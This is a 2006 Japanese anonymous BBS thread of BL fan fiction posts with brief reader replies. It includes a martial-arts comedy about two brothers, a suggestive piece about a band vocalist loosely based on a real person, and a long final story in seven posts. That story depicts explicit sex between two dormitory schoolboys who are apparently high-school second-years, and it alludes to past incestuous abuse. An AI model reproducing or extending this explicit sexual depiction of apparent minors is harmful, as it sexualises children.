お前がオレを切り離せるわけがない。
ほんとに、ばかな利.央。
気を使って先にチャンスをくれてやったというのに。
そんな気遣いやめだやめ。
甘やかされ慣れたガキは優しくするとつけ上がるだけだってことだな。
お前は泣いて泣いて諦めようとしてるけど、諦められないぜ。
すぐに分かる。喉から手が出る程欲しいものが何なのか。誰なのか。
縋りつくお前をどろどろに汚す。
楽しい妄想が実現できるのもそう遠くないとオレは知ってる。


もう祈れないお前の代わりに、オレが祈ってやるよ。「アーメン」

(そう言った時の利.央の顔といったら!)

□ STOP ピッ ◇⊂(・∀・ )こんなのでごめんね! <> 風と木の名無しさん<>sage<>2006/10/08(日) 13:22:25 ID:yAJG7ZFh0<> >205
d。ブログであらすじ全部げと。ところで
>「俺が今日死ぬとしたら、お前はどうする?」
ってどっちの台詞なの? <> 風と木の名無しさん<>sage<>2006/10/08(日) 13:54:25 ID:FghMrafX0<> 光/一がやってた役の方だよ。 <> 風と木の名無しさん<>sage<>2006/10/08(日) 13:55:10 ID:FghMrafX0<> 209は>>208な。
すまん。 <> 風と木の名無しさん<>sage<>2006/10/08(日) 14:06:58 ID:yAJG7ZFh0<> >209
d。160の語り部か。 <> 風と木の名無しさん<>sage<>2006/10/08(日) 15:30:58 ID:uoM4DNxa0<>
                    / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
                     |  ホヌト部森羽仁弟sです
 ____________  \            / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 | __________  |    ̄ ̄ ̄∨ ̄ ̄|  本スレの>>337からの流れに萌えました
 | |                | |             \
 | | |> PLAY.       | |               ̄ ̄∨ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 | |                | |           ∧_∧ ∧_∧ ∧∧ ドキドキ
 | |                | |     ピッ   (´∀` )(・∀・ )(゚Д゚ )
 | |                | |       ◇⊂    )(    ) |  ヽノ___
 |   ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄  |       ||―┌ ┌ _) ┌ ┌ _)⊂UUO__||  |
 |  °°   ∞   ≡ ≡   |       || (_(__)(_(__).      ||  |
 ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ <> ホヌト部森羽仁弟s 1/6<>sage<>2006/10/08(日) 15:31:30 ID:uoM4DNxa0<> 「覚悟!」
 蜜国と手合わせする時に最も警戒せねばならないのは、奴との間合いの取り方だ。
自分よりも小柄な蜜国はその分重心が低い。バネも強いしあれで力も怪人の域に達して
いるから、隙あらば投げを狙われる。奴のしなやかな重心移動は、演武の時に観客から
溜め息が漏れる程だ。かと言って離れて若干勝っている手足の長さで攻撃を試みようと
しても、擦り抜けられて空中戦、又は獲物を使ったスピード勝負に持ち込まれる。
ちょこまかした動きは、今の自分がどう頑張ってもあいつには敵わない。
「うん」
 気の抜けた返事だが、見開いた目の光は一瞬で戦闘用のそれに変わっている。
蜜国は俺の放った突きを避けて、大きく後ろに跳んだ。跳躍した先で再び膝のバネを使い、
高く飛びながら手裏剣を打ってくる。……一連の動きには全く無駄がなく、
それが俺の気分を一層不愉快にする。俺はダダダッと道場の床に突き刺さる凶器を避け、
受け身を取りながら、頭上へ更に追い打ちをかけようとする打擲用の棒を蹴り飛ばした。
「破っ!」
 くるくると飛んでいく棒には目もくれず、蜜国は俺を跳び越えた先で着地し、
素早く身を返した。重心を落とし、蹴りの体勢に切り替えている。
俺も体を起こしながら破壊力の計り知れない奴の連続キックをかわすが、
いつの間にか目の前に大嫌いな奴の顔があった。
「……くっ」
 早い。スピードも勿論だが、奴が瞬時に攻撃と防御の流れを組み立てる勘が
天才的だと人は言う。武道の神に愛されている、なんて寒気がする感想を述べた
空手協会の役員もいたらしいが、そういう要素は奴の強さの一面でしかない。
……それは俺が誰よりも知っている。
 組み手を嫌って蜜国の腕から逃れ、後ろに退きつつ足払いを掛けた後のほんの一瞬。
 自分でも「ヤバい」と思った。
「チカちゃん、甘いっ!」
 痛みよりも衝撃に脳が揺れた。重い回し蹴りが脇腹に入り、俺は吹っ飛ばされた。 <> ホヌト部森羽仁弟s 2/6<>sage<>2006/10/08(日) 15:32:01 ID:uoM4DNxa0<> 「……そこまで」
 高志さんの低い声で、終了が告げられる。
 蜜国は胴着の襟を直しながら、倒れた俺の横にしゃがみ込んだ。
「チカちゃん、今日動きは良かったけど……らしくなかったねえ」
「……そんな事ない」
「何か考え事してた?」
「そんな事ないって……言ってるだろ!」
 図星を突かれてつい繰り出した拳は、蜜国の掌で止められた。俺よりも小さい癖に、
その力は酷く強くて振り払えない。
 ――俺が絶対に逃げられない壁が、ここにある。
「……そっか」
 蜜国は少し寂しそうに笑って、立ち上がった。
「何かあったらお兄ちゃんに言うんだよー?……僕、先にあがるねえ」
「うっす! お疲れ様っす!」
 バカ聡志は敬礼でもしそうな勢いで蜜国を見送っている。ばいばーいなんて暢気に
手を振ってる蜜国の後について、高志さんも道場を後にした。

 日課になっている夜稽古に、今日は森野塚兄弟も加わっていた。ぼーっと蜜国と
(恐らく主に)奴の兄貴を眺めていた聡志は、起き直って胡座をかいた俺の前に立った。
「どうした、泰親。今日は守り一方だったな」
 言われなくてもわかってる。俺は吹っ飛ばされた眼鏡を聡志の手からひったくるように
受け取って、いつもの視界を取り戻す。
「……うるさい。ほっとけバカ聡志」
「人が心配してやれば、そんな事言うのはこの口かー!」
「い、いひゃい! いひゃいしゃひょひ」
 ……いかん、バカと話しているとバカのペースに乗せられてしまう。
 超のつく鈍感バカで兄の高志さんを崇拝しまくっている聡志には、俺の複雑な気持ち
なんてわかる訳がない。兄・蜜国は間違いなく羽仁野塚流当代一の使い手で、
俺の年には既に今の実力を完成させていた。今の兄は周囲の雑音など一切気にしていない
様子だが、その分俺の耳には嫌と言うほど入ってくる。今日だって……。
「部活に取材に来てた雑誌記者のせいか?」
「ふぇ?」 <> ホヌト部森羽仁弟s 3/6<>sage<>2006/10/08(日) 15:32:32 ID:uoM4DNxa0<> 「蜜国さんの強さは半端じゃないから、兄弟しか知らない秘密とか聞きたがるのも
わかるけどなあ。まーあんまり気にすんなよ!」
 のー天気な聡志は俺の頭をばんばん叩いて豪快に笑った。ヤメロ。脳が揺れる。
「俺が……あいつの事聞かれるのがどんだけキツイかお前には一生わからんだろうな」

 ――お兄さんの強さの秘密って何だと思います?
『さあ……(死ぬほど甘い菓子と頭が沸きそうな可愛いものですね)』
 ――昨年空手部を突然引退されたとか。家で何か特別なメニューでも?
『いえ、特には(夕食後のホールケーキ3個が日課です)』
 ――いやあ、しかし練習を拝見していたら、矢張りお兄さんと型が似ていらっしゃる。
目標が身近にあるというのはいい刺激になるんじゃないんですか?
『はあ……』

「……だーれがあんな宇宙人を目標にしてるって?! 俺にもあの甘ったるい生活しろと?
 うさちゃんと通信して宇宙パワーをもらえと? 俺はあいつを越える!
 あいつの真似じゃなく、正攻法で絶対あいつよりも強くなってみせる!」
「まあいいけどさー。お前が何でそこまでこだわるのかぜんっぜんわかんね」
 わからんでいい。むしろわかってくれるな。お前にそういう気遣いを求めるのは
幼等部の頃に諦めた。
「……俺もあがる。シャワー浴びてくる」
「あ、俺も後で借りるな。お前の部屋行ってから行くわ」
 聡志は俺の部屋に鞄を置いて来ているから、一度戻るのだろう。聡志の後ろ姿を眺めて、
俺も溜め息をつきながら立ち上がった。 <> ホヌト部森羽仁弟s 4/6<>sage<>2006/10/08(日) 15:33:04 ID:uoM4DNxa0<>  我が家の武道場には門下生用に更衣室、シャワーと簡易浴場が併設されている。
俺は更衣室に常備してある浴用タオルを腰に巻いて、浴場の曇りガラスの扉に手を掛けた。
「……チカちゃん大丈夫かなあ」
「……ああ」
 手が止まる。水音に交じって中から小さく聞こえてくるのは、蜜国と高志さんの声だ。
しかも話している内容はどうやら俺の事らしくて、何食わぬ顔で入っていくべきかどうか、
俺は一瞬躊躇した。後から思えばこのためらいが命取りだったのだ。
「何かあったのかなあ。いつも先手で攻撃してくる方が好きな子なのにねえ」
「ああ」
「でも今日の動きはすごくいいと思ったんだ。最後で脇の甘さが見えちゃったけど、
そこまでの身のこなしは完璧だったよ!」
「そうだな」
 ………。
 ……まずい、顔がにやけてしまった。蜜国に褒められるのは嫌じゃない。
……少しだけ嬉しいから、対応に困る。
「僕はチカちゃんに何をしてあげられるんだろうねえ……」
 とりあえず俺の視界に入るところで深夜のスペシャルケーキナイトを開催するのは
止めてくれ。それだけで俺の心労は大分軽減される。
「……泰親は泰親なりの強さを模索している時期なのだろう。お前はお前の強さを
信じればいい」
「……ん。そだね」
 ……何となくもっともらしいけど、それでは解決にはならないんです高志さん……。
 何であれ蜜国が俺のことをそれなりには考えているというのは、むず痒いような
恥ずかしいような、居心地の悪い気分にさせられた。
 それきり中の会話は止まってしまって、湯が揺れるようなぽちゃんという音しか
聞こえなくなった。……もう入って行っても大丈夫だろうか。
 そろそろと扉を細く開けて、俺は浴場の中の様子を窺った。
「……!?」 <> ホヌト部森羽仁弟s 5/6<>sage<>2006/10/08(日) 15:38:03 ID:uoM4DNxa0<>  ヤバイ何だこれなんだこれなんだこれ。
 浴槽の中に蜜国と高志さんがいる。これは別にいいんだが……ちゅうしてる。
間違いなくちゅうしてる。
 俺からは高志さんの背中しか見えないが、どうやら蜜国の方に顔を傾けて、
奴の背に腕を回している。蜜国はこっちが赤面するようなぼんやりした目をしながら
キスに夢中になってる。軽いやつじゃない。ディープだ。もの凄くディープな奴だ。
 そんな関係だったのかあんたらはっつーか俺たちが来るのはわかってんだから
場所を考えろっつーかもう聡志が来る! と俺の頭の中はパニック状態だった。
 ましてや中の二人の挙動がますます怪しくなっていて、手があらぬ所で動き出したり
なんかしていたので俺は悶死寸前だった。
「お、泰親どーした?」
「っ……!!!」
 俺は呪った。もしも呪いが本当にきくのなら、中のバカップルとこの空気の読めない
バカはすぐさま地獄行きにしてくれる。その自信はある。
 俺はバカの口を即座に押さえ、更衣室の隅に引きずって行った。
「何も言うな何も聞くな黙って母屋の風呂にいけ」
「は?」
「それがお前の為だ、聡志」
 ブラコンの聡志には恐らくキツイ現実だ。これは俺のせめてもの……
「理由を言え理由を」
「さ、さわぐなって」
「筋の通らん事に従う筋合いはないっ」
「ちょ、待てっ」
 聡志は俺の気遣いを無にしたあげく、俺を足蹴にして思いっきり威勢よく浴場の扉を開けた。 <> ホヌト部森羽仁弟s 6/6<>sage<>2006/10/08(日) 15:38:35 ID:uoM4DNxa0<> 「……あ、お二人ともいらしたんですね」
「うん。僕たちもう上がるよ〜」
 蜜国の声と、ざばーっと湯から上がる音がする。
……ひとまず修羅場は避けられたようだ、と俺は安堵で脱力した。
「泰親ー、早く来いよ」
 後はあれだ。俺が態度にさえ出さなければ、きっと平穏無事におさまる筈だ……。
「チーカちゃん?」
「ひっ」
 耳元で蜜国の声がして、俺は尻餅をついた姿勢のまま後退りかけた。
……いや、ここで負けちゃ駄目だ。俺は絶対負けない、こいつには……。
「な、何だよ」
「覗き見は、めっ、だよ?」
 ごしょごしょと俺に内緒話をして、蜜国はにっこり笑った。……が、奴の目は本気だ。
「泰親ー?」
「い、今行く!」
 俺は転がるようにして風呂場に飛び込んだ。シャンプーで頭を泡だらけにしながら、
聡志は俺を不可解そうに見ている。
「お前今日変だなあ。疲れてるんじゃないか?」
 ……ああ疲れてる、ものすごく疲れてるがその半分くらいは無神経なお前のせいだ。
そう思ったが、キレた俺は黙って聡志に冷水を浴びせることで答えた。
「うわっ、何すんだよ泰親!」
「……お前らみんな俺の前から消えろー!」
「何だか知らんが、人にやつあたりすんなって言ってるだろお前はーっ!!」
「う、や、やめ、いてっ」
 容赦のない聡志の暴力を受けながら、俺は改めて打倒蜜国を誓った。
「絶対倒す!……い、痛い、聡志ごめん……」 <> 風と木の名無しさん<>sage<>2006/10/08(日) 15:39:16 ID:uoM4DNxa0<>  ____________
 | __________  |
 | |                | |
 | | □ STOP.       | |
 | |                | |           ∧_∧ 格闘のあたりはデタラメ…
 | |                | |     ピッ   (・∀・ )
 | |                | |       ◇⊂    ) __
 |   ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄  |       ||―┌ ┌ _)_||  |
 |  °°   ∞   ≡ ≡   |       || (_(__)  ||   |
 ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ <> 風と木の名無しさん<>sage<>2006/10/08(日) 17:41:14 ID:LMimb+X00<> >>212
銛埴キタ―!
これ読んでなぜか埴弟→埴兄に萌えてしまったハァハァ
姐さんGJ! <> 風と木の名無しさん<>sage<>2006/10/08(日) 18:28:55 ID:YMuO8mFn0<> >>206
>>212
御二方とも超GJです!萌えました!今夜は祭りだー! <> 風と木の名無しさん<>sage<>2006/10/08(日) 19:25:15 ID:kgCp0elLO<> |>PLAY ピッ ◇⊂(・∀・ )

レコード会社の人×バンドのボーカル&ギター

受の人はナマモノ九州人のつもりでしたが、書いたら別人になったので
あまり気にしないでください。 <> 風と木の名無しさん<>sage<>2006/10/08(日) 19:28:59 ID:kgCp0elLO<> 「何してんですか」
彼のギターに触れた俺に、彼は振り返らずにそう言った。
「ちょっと、可哀想だなって」
「なんが」
「ギターが」
「なんで」
「なんで、って…」
しばらく張り替えられていない弦。
次のライブあたり、きっと切れるだろう。彼のギターの扱いは激しいから。
「壊れちゃうよ」
「新しいの買えばよかです」
そっけない。ギターにも人にも。
「…何してんですか」
彼の背に触れた俺に、今度は振り返って言った。一瞬だけ。
「怒られるよ。妖怪弦切りに」
「…触らんでください。俺に」
彼はパソコンで歌詞を書いていた。
なんだか、前に見たような歌詞も混じってる。使い回し? <> みずいろかくめい 2<>sage<>2006/10/08(日) 19:32:07 ID:kgCp0elLO<> 「最近触ってないなぁって」
「別に触らんでよかでしょ」
「触りたい」
「やめて下さいよ」
「触るよ」
「このクサレが」
最後の暴言は聞き流す。
体。決して女性的ではない。
顔。美形とは言えない。
眼鏡。度が強い。
声。深く魅力的。
彼の佇まい、性格、醸し出す全てが、エロイ。と俺は思う。


初めて会ったとき、この人はまだ22くらいだったか。
デビューしたての頃はテンパったりもして、可愛いものだった。
なのに数年経っただけで、この落ち着き・この態度。
もうまるで大御所ベテラン。高圧的な性格のせいか、老け顔のせいか。 <> みずいろかくめい 3<>sage<>2006/10/08(日) 19:35:41 ID:kgCp0elLO<>
「…気色、悪か」
ぼそりと呟く。彼は本当に甘くない。
もみあげ、襟足、耳の下、うなじ。ホクロにそんな順番で口付ける。
くすぐったそうに首を振るけど、眼鏡にディスプレイは写ったまま。
ああ、もう。
「…っ…」
後ろから軽く抱きついて胸元に手を伸ばすと、やっと眉を寄せるアクションを見せた。
「この辺?」
「……何」
「気持ちイイの、この辺?」
悪戯を続けていると、ため息と共に彼の手が俺に伸びてきた。
ギターを器用に操る、彼の手。当然指先は硬くなっているけれど、綺麗な…
「っいだだっ!?」
「ちぎって痛いトコロは脂肪です」
ぎゅうと脇腹をつねりあげられた。そんな力でされたら、多分どこだって痛い。
少なからずムッとして、彼をじろりと見た。 <> みずいろかくめい 4<>sage<>2006/10/08(日) 19:40:23 ID:kgCp0elLO<> 「…やぐらしか」
すると、そう呟きはしたけれど、パソコンを閉じてこっちを向いてくれた。
「なんね。なんがそう可笑しか?」
知らないうちにニヤニヤしていたらしく、小首を傾げて彼は早口で言った。
言葉の端々まで彼らしい響き。それも堪らなく楽しい。
「いや、今日こそはと思ってね」
「は?」
「泣かせてみたい」
眼鏡の奥の目がパチパチと瞬く。
また談志みたいに顎に手を添えて黙ると、すぐ小馬鹿にするように口を開いた。
「まず、無理でしょうね」
その態度にムカッとしてぐぁっときてモヤっとして、まぁ短く言うと欲情して。
彼の眼鏡を取り上げて、カーペットに放り投げてやった。





□STOP ピッ ◇⊂(・∀・ )

良作に紛れてどうもすいません(´・ω・`)
九州弁、適当です。本当にどうもありがt(ry <> 風と木の名無しさん<>sage<>2006/10/10(火) 00:13:21 ID:t3XNubPx0<>                     / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
                     |  またギイタク。読み返して萌えた2年生バージョン。
 ____________  \            / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 | __________  |    ̄ ̄ ̄∨ ̄ ̄|  ギイ視点のHっす。興味ない方はスルーよろ
 | |                | |             \
 | | |> PLAY.       | |               ̄ ̄∨ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 | |                | |           ∧_∧ ∧_∧ ∧∧ カリフラワーの後ラシイ
 | |                | |     ピッ   (´∀` )(・∀・ )(゚Д゚ )
 | |                | |       ◇⊂    )(    ) |  ヽノ___
 |   ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄  |       ||―┌ ┌ _) ┌ ┌ _)⊂UUO__||  |
 |  °°   ∞   ≡ ≡   |       || (_(__)(_(__).      ||  |
<> ふたりの夜は1<>sage<>2006/10/10(火) 00:15:49 ID:t3XNubPx0<> 人間、いったん馴染んだ習慣というものはそう簡単には変わらないらしい。

点呼までの数時間を305号室以外の場所ですごすという発想などまったくなさそうな託生を見るにつけ、それが、一年生時の自己防衛を兼ねた託生なりの処世術の名残りなのはわかっていても、オレは嬉しかった。
夕食のあと、宿題も終えた託生はさっさと風呂に入り、パジャマに着替えてベッドの上にいる。
一通りの用事が済んだら即就寝準備にとりかかるなんて、本当に真剣にかわいいのでぜったい茶化したりできない。からかったりしたら、託生のことだ、意地になってその習慣を変えてしまうのは明白だ。
子どもっぽいところを指摘するたび頬を赤らめて反論してくる託生も捨て難いが、夜毎の眼福とはさすがに引き換えにできないしな。
かといって託生も眠たいわけではないようで、壁にぴったり背中を合わせ、三角座り状態の膝に文庫本を置いて熱心にページをめくっている。
ふたりきりの部屋なんだ。そんなにコンパクトに折りたたまらなくたっていいのに。
ごく自然にそういう姿勢をとっている託生を見つめるとき、愛しいだけでなく、いつだってもれなく切なさが湧きあがる。
そういう姿勢でないと託生は落ち着けないんだってことも、わかってはいるんだが。
『――寛げよ』
一学期、まだ託生に手を出しかねていたある晩のことだった。
不意打ちのキスを避けるかのように膝をかかえてうつむいたままの託生に耐えかね、オレはそう声をかけた。
すると託生はきょとんと顔を上げた。
『……寛いでるよ?』
微笑みながら、きゅっと膝を抱きなおした。
そんなふうに安心してないで、その腕をほどいて、オレのところへ来いよ。
オレを、抱きしめろよ。
――とは、喉まで出かかったのだが、そこでつかえたきり。
未だに言えずじまいでいる。
オレは目を通していた資料を閉じて託生のベッドへ移動した。
「ギイ?」
夜の海みたいに真っ黒な瞳がまっすぐにオレに向けられる。オレは託生と並んでベッドへ腰かけるなり、華奢な背中へ腕を回した。手の平で肩をつつんで引き寄せる。
壁ではなくオレにもたれかかるようにさせて。右手は小さな顎へ沿え、くっと仰向かせた。
ふと既視感をおぼえる。
ああ。あのときと同じ体勢じゃんか。
……一年の、三学期。 <> ふたりの夜は2<>sage<>2006/10/10(火) 00:18:18 ID:t3XNubPx0<> 高熱でぐったりとした託生に、口移しで白湯を与えた。
罪深いあの口づけを思い出したオレは、敬虔な気持ちで託生へ唇を寄せた。
やさしく、ふれあうだけのキスを柔らかい唇に落とす。
――何回も。
応えてわずかに舌を覗かせた託生に、眩暈がした。
あの凍てついた午後に独り抑え込むしかなかった衝動がそのままに甦る。
託生を、抱きたい。
いや、いつだって抱きたいんだが。今夜のこれは――去年のオレの胸の奥にとぐろを巻いていた欲望だ。
託生にふれるのはおろか、視線すら合わせてもらえなかったオレの胸の裡に凝り固まっていた募る想いを髣髴としてしまった。
「……っ」
呼気を乱し、膝を崩してすがりついてきた託生の顎から指を外して、薄い太腿の内側をなぞる。ぴくんと跳ねた背筋をいっそうきつく取り込む。
辿り着いた付け根の中央では愛しくてたまらないものが勃ちあがりかけていた。
そう。キスに応える術を、オレが、教えた。
――今夜はどうやら手加減できそうにない。
ごめんな、託生。
やさしく舌を舐めながら、オレは心の中で先に謝っておいた。
口に出しては。
「託生――なあ…、しようか?」
「――え、ええっ?」
いきなりの口づけに酔わされていた託生は、ぱちっと目をあいた。
耳元で囁いたオレの胸板を押して、オレの唇から少しでも離れようとする。
無駄だよ。
オレは託生のものをいとおしみをこめてゆっくりと撫でさすった。
気持ちいいだろ? 託生、セックスのときオレが気持ちのイイことしかしないって、もうしっかりわかってるんだろう?
ちゃんと、その気にさせてやるから。
二学期初日、再会を祝ったキスのときこそ、本気で嫌がってた託生の心をほぐすために軽いスキンシップでうやむやにしたが、今夜ばかりは無理だ。
自分をごまかす余裕がない。
「ギイ――ギイ、今晩は、用事ないの?」
さっきオレが施錠したのを見ていたくせに、そんなことを言ってくださる。
まあいいか。真っ赤になった耳朶がかじりつきたいくらいにかわいいし。
「ないって」 <> ふたりの夜は3<>sage<>2006/10/10(火) 00:21:52 ID:t3XNubPx0<> 託生。オレがおまえを追いつめるのは本当は簡単なんだよ。
「でも、でもっ。ギイにはなくても、誰かが訪ねてくるかもしれないしっ」
「誰も来ない。もちろん章三も来ないよ」
無粋な邪魔をされないために。そのために、305号室をオレと託生のスイートホームだと吹聴してるんじゃんか。
「でも――まだ、消灯じゃないし……」
でも、を繰り返す託生の声がだんだん小さくなる。
「……ギイ、……手」
「――ん?」
やんわりもみしだき続けているオレの右手を退けてほしくて、けど恥ずかしくてそれすら口ごもっている。
いつまでたっても初々しい託生に、オレはふたたび唇を寄せた。
――不思議だ。
どうしてオレ、こんなに穏やかに唇をついばんでるんだろう。
皮膚という薄皮一枚の下で託生を欲しがる血が荒れ狂っているのに。
ジーンズの前も疾うに痛いくらいきつく張り詰めている。
ひとしきりのキスのあと、オレはレインボー・ヴォイスを駆使して甘く囁いた。
「……いいよな?」
託生は睫を伏せたまま答えない。
桃色に染まった頬も紅く色づいた唇もふれなば落ちんという最高に色っぽい風情なのに、参っちまうぐらい強情なんだよな、オレの恋人は。
オレは溜め息を噛み殺して口説き続けた。
「消灯までに終わらせるから。そしたら、早々とぐっすり眠れるだろ?」
いや、今夜は寝かせるつもりなどさらさらないんだが。ま、方便ということで。
と。潤みきった瞳がオレを見上げた。
オレはまたくらりとした。お預けなんか食らったらマジで襲っちまいそうだ。
「今夜のギイ、いつもと違う」
「そうか?」
「だって、ギイ、いつもならもっと強引じゃないか。いっつもぼくのこと、お、押し、倒して……そそそそのままっ――じゃないかっ」
「そうだっけ? うん、いっぺん託生に押し倒されてみたいもんだけどなぁ」
「もうっ、ギイってば!」
とぼけながら、しかしオレも気づいていた。
今夜のオレはいつになく弱気だ。というか、弱気を託生に悟られるくらい表に出してしまっている。
気持ちだけでなく、託生に対する態度まで、一年生仕様になっちまってるらしい。 <> ふたりの夜は4<>sage<>2006/10/10(火) 00:25:02 ID:t3XNubPx0<> もう大丈夫なのにな。
多少強引にコトを進めても託生がこの腕の中に留まっていてくれることは何遍も何回も確認した。
他愛ないじゃれ合いや些細なちょっかいをきっかけにコトに及ぶのの多いことといったら。
いくら愛ゆえとはいえ託生に愛想を尽かされないのが我ながら不思議なくらいだ。
そう。オレ、飢えているんだよ。
幾ら貪ったって足りないんだ。むしろ指向性は強まるばかりで。
曰く託生にふれなければ一日が終わらない。
そう思ってそれが実行できる日々に、どっぷりと溺れている。
「じゃあ、いいんだな?」
鼻の頭にチュッとキスすると、託生はこくりと頷いた。
「……電気、消して」
わかってるよ。オレはくすりと微笑っていったん託生から腕をほどいた。
ベッドサイドのライトを点けて、皓々と室内を照らす蛍光灯のスイッチは切る。
ふりかえると託生はこちらに背を向けて正座していた。
隣りで思い切りよくシャツを脱いだオレにちらっと艶っぽい流し目をくれて。
うつむくと、パジャマのボタンをひとつずつゆっくり外していく。
控えめに、けれど確実にオレの求愛に応えてくれる託生――
ジーンズの中がいっそうきつくなり、オレは速やかにジッパーを下ろした。
全裸になるのももどかしく背後から託生を抱きしめる。
少し腰を浮かせてズボンを脱ぎかけていた託生は、下着の中へ滑りこんできたオレの手を慌てて押さえた。
「ギイっ、ちょっと…! 自分でするからっ」
「そんなの待てない」
さらさらで淡い茂みに指を絡ませると、託生の肩がぴくっと跳ねた。
うなじに吸いつきながら押し倒す。邪魔な下着をパジャマごとはがしてオレのベッドへ投げる。
放物線を描くそれがオレの抜け殻に重なるように落下していくのはちょっとした計算の結果。
明日の朝、乱れて重なり合ったそれを見つけた託生が今夜のふたりを思い出して頬を染めるように。
覆い被さったオレの下で託生は、枕元の光源へ腕を伸ばしていた。オレが先回りして明かりを消す。
スイッチのありかを求めて宙にあった託生の指に、指を絡めた。そしてオレの下へ取り戻す。
「愛してるよ、託生…」
今夜は、髪の毛一筋たりとも逃さない。 <> ふたりの夜は5<>sage<>2006/10/10(火) 00:30:23 ID:t3XNubPx0<> 握り合った手ごと右手を託生の下腹部へ忍びこませる。
「……あっ、やだ、ギィ」
託生の指を使って託生を気持ちよくさせようというオレの意図に気づいたらしく、逃れるように腰を持ち上げた。
ところがそこにはちょうど威勢のいいオレがいて。
柔らかな双丘にこすられたそれはますます硬度と張りを増した。
闇の中、ふたつの息遣いがひそかに乱れる。
託生のうなじから背筋へ熱いキスをまんべんなく散りばめながら、左手では敏感な脇腹をしっとりと愛撫する。
右手は託生の前へ回したまま、けど逃げたものを追うことはとくにせずに掌中にある指、手の平、手の甲を丹念になぞった。
託生にふれている部分すべてが甘くじんじんと痺れている。
指先だけでこんなに感じるなんて、託生とセックスするまでオレは知らなかった。
「っ……、ギイ、やっ――ん」
肌をしゃぶるオレの口が腰まで下りてくると、託生は小さくさえずってずり上がった。
シーツを這う膝が皺の波を作る。絡み合わせている右手もひっぱって抜こうとする。
オレは片手でぐっと細い腰をつかみとめた。
逃れることしか頭にないようだが、託生、おまえ、オレの鼻先で四つん這いになってるぞ。
それともこの暗さだからオレには視えてないと思ってるのか?
これ以上、煽ってくれるなよ。
オレは躊躇うことなくふっくらした双丘へ唇を落とした。
「だめっ、やめ――て、ギィ…っ」
弾む呼吸に晒されただけでぴくぴくと震える入り口。オレだけがひらくのを許されている扉。
ちろりとひと舐めしただけで妖しい収縮を繰り返す。この奥に続く襞の動きはもっと複雑なんだ。
それを知っている股間から熱い雫が滴り落ちた。
託生も。またしてもふれあったオレの手から、もう逃げようとはしなかった。
指よりずっと熱くて確かなそれに愛撫を移す。
「……んっ……っ」
託生はさっきからずっと枕に顔を埋めて声を殺している。ときどき喘ぎまじりという悩殺ものの抗議を小さく発しつつ、体は素直な反応を返してくる。
託生の零した透明な滴で濡れた指を、息づく入り口へそっと差し込んだ。
待ちわびていたかのようにきゅっと締めつけられる。それだけで背筋に快感という名の電流が走った。
それは腰でスパークして、昂ぶりをいっそう固く、熱くする。 <> ふたりの夜は6<>sage<>2006/10/10(火) 00:33:29 ID:t3XNubPx0<> オレは指を二本に増やしながら、託生の背に密着するように被さった。
「託生――たくみ……愛してるよ――」
掠れた声で耳朶を、頬を愛撫する。
左手は胸につんと勃ち上がった小さな突起の感触をぞんぶんに愉しみつつ。
託生がとくに感じる場所を狙って右手の抜き差しを繰り返すうちに、細い腰が応えて揺れ始めた。
託生、欲しい?
オレが、欲しいか?
オレは、欲しいよ――託生。
「愛してる……」
すんなりした太腿にすっかり反り返ったものを押し当てる。
すると託生はわずかに腰を落とし――猫が尻尾だけを飼い主の足に絡ませるみたいな、微妙なタッチで。
オレのそれに双丘をふれあわせた。
瞬間、心臓のポンプが破裂しそうに膨らむ。
「たくみ……タクミ――」
指を抜くのももどかしく、オレは託生の腰をつかまえて入り口にそれをあてがった。
いつにない大きさと固さに驚いたのか、そこはきゅっと締まった。
オレは託生を抱きしめた。
すべらかな肌をあますところなく肌で撫で、中へ入れさせて欲しいと全身を使ってねだる。
何度もノックしていると、託生はあえかな吐息をもらし。
その扉が少しずつオレを呑みこんでいった。
――ああ。
たまんねえな。
託生の啜り泣きとオレの喘ぎが暗い室内に満ちる。
この至福のひとときをずっと味わっていたいのに、突き上げる腰の動きを止められない。
それどころか次第に激しくなっていき――
散々託生を突き上げて、挙句の果てにオレの体は絶頂を極めていた。
大量の迸りを止めることができない。
「……っ」
甘くて苦い快楽の余韻に引きずり込まれるまま、オレは託生の上に突っ伏した。
首筋に荒い呼気を埋め込まれた託生がびくんと身をすくめる。
まだ抜いていないオレを絞り上げる。 <> ふたりの夜は7<>sage<>2006/10/10(火) 00:35:33 ID:t3XNubPx0<> 「あぁ…っ、ギ、や…っん」
かすかに鳴いて、託生は切なげに身をくねらせた。
貫いているオレの、熱さも嵩も固さも。ちっとも萎えていないからだ。
オレの貪欲さはこんなところでも頭をもたげている。
「ギイ……ギイっ」
託生は上半身をねじって、投げだしていたオレの腕にしがみついた。
「わかってるよ……託生」
さらさらの黒髪にキスを落とし、託生の膝裏に手を回した。
折り曲げさせてオレの体の下をくぐらせる。楔は埋めこんだままで託生を仰向けさせた。
託生はすぐにオレの背中へ腕を伸ばした。
セックスしている最中にオレにすがりつくこと――まぁ体位にもよるのだが――
これもオレが託生に教えた。
けどな――
オレも託生の背中に腕を交差させてきつく抱きしめた。
託生はふだんあれほど憎まれ口や減らず口をたたいているくせに、閨の中ではとても従順だ。
イくときだってたいていは声もあげずにただぽろぽろと涙をこぼす。
その落差は、痛々しかった。
男に組み敷かれている間は体を固くベッドへ縛りつけて息も殺すものなのだと、何年もかけて、実の兄に骨の髄まで叩きこまれたに違いない。
感じやすい――感度のいい体なのに。
それからもうひとつ、オレがひそかにその昔の男に対して憤っている、託生の閨での習慣があった。
「……あっ、ん、んん」
